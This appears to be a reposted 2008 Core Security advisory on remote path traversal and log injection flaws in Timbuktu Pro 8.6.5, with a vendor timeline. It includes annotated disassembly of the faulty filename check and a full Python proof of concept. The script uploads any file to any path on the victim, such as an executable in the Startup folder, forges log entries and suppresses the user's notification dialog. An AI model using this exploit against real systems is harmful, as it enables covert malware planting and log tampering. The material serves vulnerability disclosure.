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  Многочисленные уязвимости безопасности в Motorola Timbuktu

  Vulnerabilities in Timbuktu Pro 8.6.5

From:CORE SECURITY TECHNOLOGIES ADVISORIES <advisories_(at)_coresecurity.com>
Date:12 марта 2008 г.
Subject:CORE-2008-0204: Timbuktu Pro Remote Path Traversal and Log Injection

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  Core Security Technologies - CoreLabs Advisory
  http://www.coresecurity.com/corelabs
 
 Timbuktu Pro Remote Path Traversal and Log Injection
 
 
 *Advisory Information*
 
 Title: Timbuktu Pro Remote Path Traversal and Log Injection
 Advisory ID: CORE-2008-0204
 Advisory URL: http://www.coresecurity.com/?action=item&id=2166
 Date published: 2008-03-11
 Date of last update: 2008-03-11
 Vendors contacted: Motorola
 Release mode: Forced release
 
 
 *Vulnerability Information*
 
 Class: Remote Path Traversal
 Remotely Exploitable: Yes
 Locally Exploitable: No
 Bugtraq ID: 28081
 CVE Name: CVE-2008-1117, CVE-2008-1118
 
 
 *Vulnerability Description*
 
 Timbuktu Pro [1] is a desktop-to-desktop remote control software for the
 Windows and Macintosh operating systems. The following vulnerabilities
 have been identified in Timbuktu Pro:
 
  1) File transfer directory traversal (CVE-2008-1117): The '\' and '/'
 are not properly sanitized when checking the destination filename. The
 problem resides in the Notes feature implemented by tb2ftp.dll loaded by
 the tb2pro.exe. This is the main issue.
 
  2) Log input manipulation (CVE-2008-1118): Several fields of the packet
 containing peer information (computer name, user name and IP address)
 are taken from the packet sent to the target and used to display this
 information on the screen of the target.
 
  The vulnerabilities discovered allow a remote attacker to upload a file
 to an arbitrary location on the victim's machine and forge peer
 information on the log lines of the victim's application. For example,
 an attacker could write an executable in a startup directory of the
 victim's machine and wait for the user to restart his/her machine.
 Another example is to write a fake system DLL in an existing program
 directory, inducing Windows to load this module instead of the real DLL
 from 'C:\WINDOWS\system32\'
 
 
 
 
 *Vulnerable Packages*
 
 . Timbuktu Pro 8.6.5 for Windows.
 . Timbuktu Pro 8.7 for Mac OS X may also be vulnerable.
 
 
 *Non-vulnerable Packages*
 
 
 
 *Vendor Information, Solutions and Workarounds*
 
 Contact the vendor for fix information.
 
 
 *Credits*
 
 This vulnerability was discovered and researched by Sebastian Muniz from
 CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.
 
 
 *Technical Description / Proof of Concept Code*
 
 
 
  The most important bug is the directory traversal (1) bug for the Flash
 Notes feature of the Timbuktu Pro client.
 
  Timbuktu Pro is able to send Flash Notes (like an instant message) and
 attach files to those notes. Both the message (which will be written to
 a text file once received by the target) and the files attached to the
 note are transferred to a temporal folder on the target installation
 folder (default path is C:\Program Files\Timbuktu Pro\). The file
 transfer begins and it is unnoticed by the target user. Once the
 transfer is complete, the target user is shown a dialogue on the screen
 that displays the message with the names of the files attached.
 
  The user reads the message and he/she can decide whether or not to keep
 the uploaded files. If the user closes the message dialogue, the files
 are deleted from the temp folder; otherwise they are kept. The bug
 allows the attacker to upload a file to ANY location relative to the
 Timbuktu Pro installation folder with an attacker-selected filename for
 the target.
 
  Another very important thing is that when the files are stored outside
 the temporal folder, they are not deleted even if the user refuses to
 save the file.
 
  Additionally, the attacker can avoid displaying the dialogue that
 notifies the user about the message and the attached files making the
 attack invisible for the target.
 
  The other bug is a logging file content manipulation vulnerability
 allowing the attacker to use the data inside protocol's packet to
 disrupt the log file with control characters like '\n' and others. This
 bug is not very important alone, but could be combined with the
 traversal bug to cover tracks about the file upload inserting false log
 lines or control characters.
 
  In the following code the the program obtains the filename from the
 packet searching from right to left for the filename without the path
 following the last '\'. Then if a '\' character is found then it doesn't
 search for the character '/', making it possible to traverse the
 directories, sending a filename like '\../../../evil.exe'. In this
 example, the resulting filename extracted is '../../../evil.exe'.
 
  A dangerous possibility is writing an executable in a startup directory
 of the victim's machine and wait for the user to restart his/her
 machine. Another one is writing a fake system DLL in an existing program
 directory, inducing Windows to load this module instead of the real DLL
 from 'C:\WINDOWS\system32\'
 
  Disassembled vulnerable code follows, read the comments if you want to
 fully understand the bug:
 
 /-----------
 
 .text:6063A62E mov edx, [ebp+lp]
 .text:6063A631 mov eax, [edx+20h] ; Packet field containing filename
 .text:6063A634 push eax ; EAX is also the output buffer
 .text:6063A635 call ds:Pascal2C ; Extract filename from packet
 
 .text:6063A63B push '\' ; Char to filter in the filename
 .text:6063A63D mov ecx, [ebp+lp]
 .text:6063A640 mov edx, [ecx+20h]
 .text:6063A643 push edx ; Filename obtained in 0x6063A635
 .text:6063A644 call _strrchr ; Search for '\' in the filename
 .text:6063A649 add esp, 8 ; At this point, the pointer to the
  ; position of the '\' is obtained and
  ; will be stored in a local variable.
 
 .text:6063A64C mov [ebp+pSlashPosition], eax ; Store '\' pointer
 .text:6063A64F cmp [ebp+pSlashPosition], 0 ; This is the BUG !!!!
 .text:6063A653 jnz short loc_6063A669 ; It avoids checking '/' if
  ; '\' was found, so we must
  ; send '\' and then as much
  ; "../" as we want :)
 
 .text:6063A655 push '/' ; This check won't be done
 .text:6063A657 mov eax, [ebp+lp] ; because the '\' was found
 .text:6063A65A mov ecx, [eax+20h]
 .text:6063A65D push ecx
 .text:6063A65E call _strrchr
 .text:6063A663 add esp, 8
 .text:6063A666 mov [ebp+pSlashPosition], eax
 
 .text:6063A669 loc_6063A669:
 .text:6063A669 cmp [ebp+pSlashPosition], 0 ; Check if a slash was
  ;found so
 .text:6063A66D jz short loc_6063A68C ; it
 copies past it's ;position
 .text:6063A66F push 200h
 .text:6063A674 mov edx, [ebp+pSlashPosition]; Get the '\' position
 and move
 .text:6063A677 add edx, 1 ; forward 1 byte to avoid it
 .text:6063A67A push edx
 .text:6063A67B mov eax, [ebp+lp]
 .text:6063A67E add eax, 4B0h
 .text:6063A683 push eax
 .text:6063A684 call ds:lstrcpynA ; From know on, the filename
 .text:6063A68A jmp short loc_6063A6A ; contains something like
  ; ../a.exe :)
 . . . . .
 
 - -----------/
 
  Proof of concept code follows. This PoC allows a remote attacker to
 upload a file to an arbitrary location on the victim's machine and forge
 peer information on the log lines of the victim's application.
 
 /-----------
 
 from sys import argv
 from socket import *
 from struct import pack
 
 #from utils import printFormatted
 #from time import sleep
 
 init_send_op_packet = ( '\x00\x01\x60\x00\x00\x52\x00\x25'
  '\x00\x22\x02\x01\x00\x04\x03\x07'
  '\x00\x05\x00\x01\x00\x00\x00\xf1'
  '\x06\x00\xf7\x76\xdd\x77\x00\x00'
  '\x00\x00\x08\x7c\x67\x60\x00\x00'
  '\x00\x00\x00\x00\x00\x00\x00\x00'
  '\x00\x00\x18\xf1\x06\x00\xd1\x90'
  '\xbc\x60\x38\xf1\x06\x00\x32\x94'
  '\xc1\x60\x50\x92\xc4\x60\x00\x00'
  '\x00\x00\x18\x92\xc4\x60\x2d\xbe'
  '\x80\x7c\x08\x7c\x67\x60\x20\x46'
  )
 
 second_send_op_packet = ( '\x00\x01\x61\x00\x00\x52\x00\x25'
  '\x00\x22\x02\x01\x00\x04\x03\x07'
  '\x00\x05\x00\x01\x10\x00\xe0\xf0'
  '\x06\x00\x51\x05\x91\x7c\x28\x09'
  '\x08\x00\x6d\x05\x91\x7c\x1c\xf1'
  '\x06\x00\x02\x00\x00\x00\x10\x00'
  '\x00\x00\xb8\xf5\xbe\x60\x00\x00'
  '\xac\x00\x00\x00\x00\x00\xbd\xf5'
  '\xbe\x60\x30\x90\xc4\x60\x07\x00'
  '\x00\x00\xd0\x13\x63\x60\x71\xfb'
  '\x90\x7c\x40\xf0\x06\x00\x0e\x00'
  )
 
 peer_info_exchange = ( '\x00\x01\x62\x00\x00\xb0\x00\x23'
  '\x07\x22\x03\x07\x70\x2c\xa5\x51'
  '\x4c\xca\xe3\xfb\x70\x2c\xa5\x51'
  '\x4c\xca\xe3\xfb\x00\x09'
  '%(user_name)s'
  '\x01\x97'
  '%(host_name)s'
  ''
  '\x00\x00\x01\x02\x00\x04'
  '\xb1\x1c\x39\x51\x00\x00\x00\x00'
  '%(guest_ip_address)s'
  '\x00\x00\x00\x00\x00\x00'
  '\x00\x00\x00\x00\x00\x00'
  )
 
 ack_peer_info = '\xff'
 
 attach_info_packet = ('\xfb\x00\x00\x00\x00'
  'BINAmdos'
  '\xc2\x12\x49\xaf\xbd\x35\xac\x98'
  '\x00\x00\x00\x00'
  '%(attachment_length)s'
  '\x00\x00\x00\x00'
  '\xff\xff\xff\xff\x00\x00\x00\x00'
  '\x00\x00\x00\x00\x00\x00\x00\x00'
  '\x00\x00\x00\x00\x00\x00'
  '%(attachment_filename)s'
  )
 
 attach_info_ack1 = '\xf9\x00'
 
 # Transfer file content here !!!
 # \xF8 + 2 byte length + data
 
 attach_file_ack1 = '\xf7'
 
 attach_file_ack2 = '\xfa'
 
 
 class Tb2FileSender:
  '''
  Fake timbuktu client that implements the 'Notes' feature to send a
  message with a file attached to it.
  '''
 
  def __init__(self, target, fake_src_ip, fake_hostname,
 fake_username, dest_filename, file_content):
  '''
  Setup TCP Connection to standard port TCP/407
  '''
  self.sck = socket(AF_INET, SOCK_STREAM)
  self.sck.connect((target, 407))
  self.fake_src_ip = fake_src_ip
  self.fake_hostname = fake_hostname # Peer computer name
  self.fake_username = fake_username # Peer user name
  self.dest_filename = dest_filename # Destination filename
 including path (like ../../a.exe)
  self.file_content = file_content # Content of the
 destination file
 
  def sendAndRecv(self, packet, log, expected_response_length=0x500,
 print_response=False):
  self.sck.send(packet)
  if log:
  print '[-] %s' % log
  if expected_response_length > 0:
  resp = self.sck.recv(expected_response_length)
  if print_response:
  #printFormatted(resp)
  print '-' * 70 + '\n'
  return resp
  return None
 
  def getPascalString(self, str):
  '''
  Format the strings as 1 Byte Length + String.
  '''
  return pack('B', len(str)) + str
 
  def createFakePeerInfoPacket(self):
  '''
  Create a packet with forged guest information to avoid giving away
  real info in the log files.
  '''
  #
  # Ohhh... by the way, these two names goes diretly to the log
 file... ehehhee :)
  #
  guest_host_name = self.fake_hostname.replace('\\n', '\r\n')
  guest_user_name = self.fake_username.replace('\\n', '\r\n')
 
  username_max_len = 0x37 # This is not the application real
 limit,
  hostname_max_len = 0x3f # but it is the limit for this packet.
 
  host_name = self.getPascalString(guest_host_name)
  user_name = self.getPascalString(guest_user_name)
 
  # Pad the string to fill the empty space and avoid packet length
 recalculation
  host_name += ('\x00' * (hostname_max_len -
 len(guest_host_name)))
  user_name += ('\x00' * (username_max_len -
 len(guest_user_name)))
 
  guest_ip_address = self.fake_src_ip.split('.')
  guest_ip_address = pack('BBBB', int(guest_ip_address[0]),
 int(guest_ip_address[1]), int(guest_ip_address[2]),
 int(guest_ip_address[3]))
 
  return peer_info_exchange % vars()
 
  def getAttachContent(self):
  '''
  Retrieve the content of the local file and send it as the attach
 content.
  '''
  fd = open(self.file_content, 'rb')
  data = fd.read()
  fd.close()
  return data
 
  def send(self):
  '''
  Send a sequence of packet to upload our data to the filename and
 path
  specified by the user's parameters.
  '''
 
  # Begin protocol negotiation with the target
  self.sendAndRecv(init_send_op_packet, 'Note
 Operation initial packet sent.')
  self.sendAndRecv(second_send_op_packet, 'Note
 Operation negotiation packet sent.')
 
  # Send the packet with our fake info to fool the logs :)
  self.sendAndRecv(self.createFakePeerInfoPacket(), 'Peer info
 packet sent.')
  self.sendAndRecv(ack_peer_info, 'Ack peer
 info packet sent.')
 
  # Setup attachment packets that contain information about the
 file being transfered
  max_trx_chunk_size = 0x5B4
  trx_until_resync = 0x16C5
 
  payload = self.getAttachContent()
  payload_length = len(payload)
  attachment_length = pack('>L', payload_length)
 
  #
  # Send info about the attachment.
  #
  # The '\' character is nedded to bypass the application filter.
  # This is actually the Bug !
  attachment_filename = self.getPascalString('\\' +
 self.dest_filename.replace('\\', '/'))
 
  attach_info = attach_info_packet % vars()
 
  self.sendAndRecv(attach_info , 'Attachment info sent.')
  self.sendAndRecv(attach_info_ack1, 'Attachment intermediate
 info sent.')
 
  # Create a list with the chunks to send and prepare their
 headers is appropriate
  attachment_content = list()
 
  # We check if the data to send fits into one set of chunks.
  if payload_length < max_trx_chunk_size:
  attachment_content.append('\xF8' + pack('>H',
 payload_length) + payload)
  else:
  # If the data is bigger than one chunk, then send multiple
 chunks and their headers.
  curr_pos = 0 # keeps our current position into
 the data file content
  resync_chunk = True # flag to indicate if a new set of
 chunk should be set
  pos_in_chunk = 0 # keeps our position into the
 current chunk set
  do_recv = False # flag to indicate if recv is needed
 to receive target data
 
  while curr_pos <= payload_length:
  do_recv = False
  # Is this the last chunk ?
  if curr_pos > 0 and pos_in_chunk != trx_until_resync:
  # If it is the last chunk, then just set length to
 the rest of the data
  if trx_until_resync - pos_in_chunk < max_trx_chunk_size:
  chunk_length = trx_until_resync - pos_in_chunk
  do_recv = True
  else:
  # Otherwise, set the data length as usual
 because it's an intermediate chunk
  chunk_length = max_trx_chunk_size
  data = ''
  else:
  # Start a new set of chunks and check if this is not
 the last set
  # If it is, then don't set the maximun size, just
 the rest of the length.
  data = '\xF8' # Set the chunk set header
  if payload_length - curr_pos < trx_until_resync:
  chunk_length = payload_length - curr_pos
  data += pack('>H', chunk_length)
  else:
  # This is not the last chunk, so we set the
 maximun size and begin
  # it transmittion.
  chunk_length = max_trx_chunk_size
  data += pack('>H', trx_until_resync)
  pos_in_chunk = 0
 
  # Append the current chunk into a list to be sent later
  attachment_content.append((do_recv, data +
 payload[curr_pos : curr_pos + chunk_length]))
  curr_pos += chunk_length
  pos_in_chunk += chunk_length
 
  #
  # Send file content in small chunks
  #
  print '[-] Beginning file transfer... (this may take some time)'
  for chunk in attachment_content:
  if chunk[0]:
  do_recv = 0x500
  else:
  do_recv = 0
  self.sendAndRecv(chunk[1], '', do_recv)
  #sleep(0.5)
  print '[-] File transfer complete'
 
  # Send the final ACKs to allow the program to create the remote
 file.
  self.sendAndRecv(attach_file_ack1, 'Note body intermediate
 info sent.')
  self.sendAndRecv(attach_file_ack2, 'Note body intermediate
 info sent.')
 
  # Close the connection here to avoid the program displaying any
 message
  self.sck.close()
  return
 
 
 if __name__ == "__main__":
  if len(argv) != 7:
  print (r'\nUsage:\n\n%s <target> <fake_source_ip> <fake_hostname> '
  '<fake_username> <dest_filename_with_path>
 <file2upload>\n\n'
  'Example:\n\n'
  '%s victim.com 1.2.3.4 trust.com yourAdmin
 "..\..\..\Documents And Settings\All Users\Start
 Menu\Programs\Startup\evil.exe" c:\payload.exe'
  % (argv[0], argv[0])
  )
  else:
  target = argv[1]
  fake_src_ip = argv[2]
  fake_hostname = argv[3]
  fake_username = argv[4]
  dest_filename = argv[5]
  file_content = argv[6]
 
  tb2 = Tb2FileSender(target, fake_src_ip, fake_hostname,
 fake_username, dest_filename, file_content)
  tb2.send()
 
 - -----------/
 
 
 
 
 *Report Timeline*
 
 . 2008-02-07: Vendor is notified that a vulnerability was discovered
 and that an advisory draft is available.
 . 2008-02-07: Vendor acknowledges and requests the draft.
 . 2008-02-07: Core sends the draft, including PoC code.
 . 2008-02-08: Vendor acknowledges the draft.
 . 2008-02-19: Core requests update info on the vulnerability and text
 for the advisory section called "Vendor Information, Solutions and
 Workarounds".
 . 2008-02-20: Vendor acknowledges saying the vulnerability was
 reproduced and the estimated date March 4th should be met.
 . 2008-03-03: Core requests update info on the vulnerability and text
 for the advisory section called "Vendor Information, Solutions and
 Workarounds".
 . 2008-03-10: Core requests update info on the vulnerability and
 confirmation of findings regarding the same bug reported in August 2007.
 . 2008-03-10: Luigi Auriemma independently publishes an advisory
 describing the path traversal vulnerability [2].
 . 2008-03-11: Forced release of advisory CORE-2008-0204 since this
 vulnerability is already public.
 
 
 *References*
 
 [1] http://www.netopia.com/software/products/tb2/
 [2] http://archives.neohapsis.com/archives/fulldisclosure/2008-03/0176.html
 
 
 *About CoreLabs*
 
 CoreLabs, the research center of Core Security Technologies, is charged
 with anticipating the future needs and requirements for information
 security technologies. We conduct our research in several important
 areas of computer security including system vulnerabilities, cyber
 attack planning and simulation, source code auditing, and cryptography.
 Our results include problem formalization, identification of
 vulnerabilities, novel solutions and prototypes for new technologies.
 CoreLabs regularly publishes security advisories, technical papers,
 project information and shared software tools for public use at:
 http://www.coresecurity.com/corelabs/.
 
 
 *About Core Security Technologies*
 
 Core Security Technologies develops strategic solutions that help
 security-conscious organizations worldwide develop and maintain a
 proactive process for securing their networks. The company's flagship
 product, CORE IMPACT, is the most comprehensive product for performing
 enterprise security assurance testing. CORE IMPACT evaluates network,
 endpoint and end-user vulnerabilities and identifies what resources are
 exposed. It enables organizations to determine if current security
 investments are detecting and preventing attacks. Core Security
 Technologies augments its leading technology solution with world-class
 security consulting services, including penetration testing and software
 security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
 Security Technologies can be reached at 617-399-6980 or on the Web at
 http://www.coresecurity.com.
 
 
 *Disclaimer*
 
 The contents of this advisory are copyright (c) 2008 Core Security
 Technologies and (c) 2008 CoreLabs, and may be distributed freely
 provided that no fee is charged for this distribution and proper credit
 is given.
 
 
 *GPG/PGP Keys*
 
 This advisory has been signed with the GPG key of Core Security
 Technologies advisories team, which is available for download at
 http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
 
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